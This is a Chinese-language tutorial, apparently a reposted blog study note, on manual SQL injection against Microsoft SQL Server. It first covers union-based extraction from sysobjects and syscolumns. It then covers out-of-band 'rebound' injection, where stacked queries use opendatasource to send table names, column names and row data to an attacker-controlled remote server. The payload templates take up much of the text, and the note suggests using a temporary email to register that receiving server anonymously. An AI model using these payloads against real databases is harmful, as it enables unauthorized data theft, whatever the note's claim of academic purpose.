学习记录-MSSQL显错注入和反弹注入(手工注入)

学习记录-MSSQL显错注入和反弹注入(手工注入)

注:文章仅用于学术交流,不用其他用途,不足之处,大佬多多指出

一、MSSQL显错注入
1、实质:MSSQL也称sql server,简单来讲和其它数据库的显错注入基本相同,都是通过回显获取信息,有少许不同的地方在于MSSQL数据库不同的语法格式
2、具体步骤:
1)查找输出点
MSSQL数据库,联合查询输出点时候,需要前后字段属性一样,如:
查看当前字段数: order by 1.2.3…
查看输出点:union all select null,null,null… (加上all 重复数据也能打印出来,最好带上all,用null代替空字段,然后去慢慢试属性)
尝试对应字段属性: union all select 1,‘a’,null…(这里就是第一个输出点用int属性,第二个输出点用varch属性去试)
2)开始注入
union all select id,name from sysobjects where type=’U’ 这里假设含有两个输出点,可以从自带库获取对应工程名及id信息,这里筛选的U表示用户类型自己创建
union all select 1,name from syscolumns where id=xxx 通过id取所以字段
union all select xxx,xxx from xxx 获取数据

二、MSSQL反弹注入
1、实质:MSSQL数据库注射点无法回显,用反弹注入的方式也就是讲数据发送到自己的数据库,从而获取数据达到注入目的
2、实用场景
1.页面无回显
2.注射工具解析缓慢
3.能够实用堆叠注入(简单的说;结束还可以运行其他sql语句)
3、具体步骤
1)首先得准备一个MSSQL数据库用于接收反弹回来的数据,这个途径可以通过很多网站(最好找邮箱注入,通过临时邮箱注册可以保护自己的隐私,推荐国外一个网站my.gearhost.com/CloudSite)
2)反弹表名和字段
;insert into opendatasource(‘sqloledb’,’server=地址,端口;uid=用户;pwd=密码;database=库’).库.dbo.自己创建的库 select id,name from sysobjects where type=‘U’ 自己创建一个表收取反弹的表名信息
;insert into opendatasource(‘sqloledb’,’server=地址,端口;uid=用户;pwd=密码;database=库’).库.dbo.自己创建的库 select name from syscolumns where id=xxx 用id为条件去筛选字段(这里只能查到字段不能查到字段的属性,属性需要一个一个的尝试)
3)反弹数据
;insert into opendatasource(‘sqloledb’,’server=地址,端口;uid=用户;pwd=密码;database=库’).库.dbo.自己创建的库 select * from xxx
opendatasource()相当于链接的服务器.koko库.游客权限.自己创建的表 select *from xxx
注意的是需要保证查询的字段和自己创建的表数量及属性一样也可以一个一个反弹,属性的话也就那几种可以慢慢尝试一下

三、个人总结
1.mssql输出不是像mysql那些数据库只输出一条,它是多条输出
2.最好union all查询,避免重复数据被覆盖
3.MSSQL联合查询需要保证两边的字段属性一样,最好用null先代替
4.反弹注入需要用到opendatasource函数,opendatasource(‘sqloledb’,’server=地址,端口;uid=账号;pwd=密码;database=库’)
连接其他mssql,需要opendatasource(xxx).库.表,保证数据传输的表两边字段数量及属性一样,opendatasource第一个参数:访问数据的一个接口,MSSQL的名称为SQLOLEDB,固定记住就可以了
5.反弹注入前提是能够实用堆叠注入
6.反弹注入字段属性需要靠猜测,一般情况下通过反弹查询需要表字段的属性是查不出来的

猜你喜欢

转载自blog.csdn.net/SmileAndFun/article/details/108041962